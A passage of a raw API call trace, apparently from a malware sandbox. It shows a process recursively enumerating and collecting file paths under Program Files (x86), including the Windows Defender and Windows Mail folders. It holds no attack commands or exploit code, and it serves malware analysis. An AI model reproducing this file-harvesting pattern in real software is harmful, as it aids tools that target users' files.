returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0031.574] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.574] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.574] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.574] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0031.574] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0031.574] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0031.574] lstrlenW (lpString="Microsoft") returned 9 [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0031.574] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0031.574] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.574] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.574] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.574] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0031.574] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0031.574] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0031.574] lstrlenW (lpString="Framework") returned 9 [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0031.574] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.574] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.574] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.574] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.575] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.575] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0031.575] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.575] lstrlenW (lpString="Uninstall Information") returned 21 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0031.575] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.575] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.575] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.575] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.575] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.575] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0031.575] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.575] lstrlenW (lpString="Windows Defender") returned 16 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0031.575] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.575] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.575] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.575] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.575] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.575] lstrlenW (lpString="en-US") returned 5 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0031.575] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0031.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0031.575] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.576] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.576] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.576] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.576] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0031.576] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0031.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0031.576] lstrcpyW (in: lpString1=0x25e24f0, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0031.576] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.576] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0031.576] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0031.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0031.576] lstrcpyW (in: lpString1=0x25e2578, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0031.576] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.576] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.576] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.576] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.576] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0031.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0031.576] lstrcpyW (in: lpString1=0x25e0b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0031.576] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.576] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.576] lstrlenW (lpString="MpClient.dll") returned 12 [0031.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0031.576] lstrcpyW (in: lpString1=0x25e0ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0031.576] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.576] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.576] lstrlenW (lpString="MpOAV.dll") returned 9 [0031.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0031.576] lstrcpyW (in: lpString1=0x25e4b08, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0031.576] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.576] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0031.576] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0031.576] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.576] lstrlenW (lpString="MsMpLics.dll") returned 12 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0031.577] lstrcpyW (in: lpString1=0x25e0c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0031.577] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.577] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0031.577] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0031.577] lstrcpyW (in: lpString1=0x25e5bc0, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0031.577] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.577] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.577] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.577] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.577] lstrlenW (lpString="Windows Mail") returned 12 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0031.577] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.577] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.577] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.577] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.577] lstrlenW (lpString="en-US") returned 5 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0031.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0031.577] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.577] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.577] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.577] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0031.577] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0031.577] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0031.578] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0031.578] lstrcpyW (in: lpString1=0x25e5c40, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0031.578] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.578] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0031.578] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0031.578] lstrcpyW (in: lpString1=0x25e5cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0031.578] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.578] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.578] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.578] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.578] lstrlenW (lpString="msoe.dll") returned 8 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0031.578] lstrcpyW (in: lpString1=0x25e7b28, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0031.578] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.578] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.578] lstrlenW (lpString="MSOERES.dll") returned 11 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0031.578] lstrcpyW (in: lpString1=0x25e7b90, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0031.578] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.578] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.578] lstrlenW (lpString="oeimport.dll") returned 12 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0031.578] lstrcpyW (in: lpString1=0x25e4b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0031.578] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.578] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.578] lstrlenW (lpString="wab.exe") returned 7 [0031.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0031.578] lstrcpyW (in: lpString1=0x25e7bf8, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0031.578] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.578] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0031.578] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0031.578] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.579] lstrlenW (lpString="wabfind.dll") returned 11 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0031.579] lstrcpyW (in: lpString1=0x25e7c58, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.579] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0031.579] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.579] lstrlenW (lpString="wabimp.dll") returned 10 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0031.579] lstrcpyW (in: lpString1=0x25e7cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.579] lstrcmpW 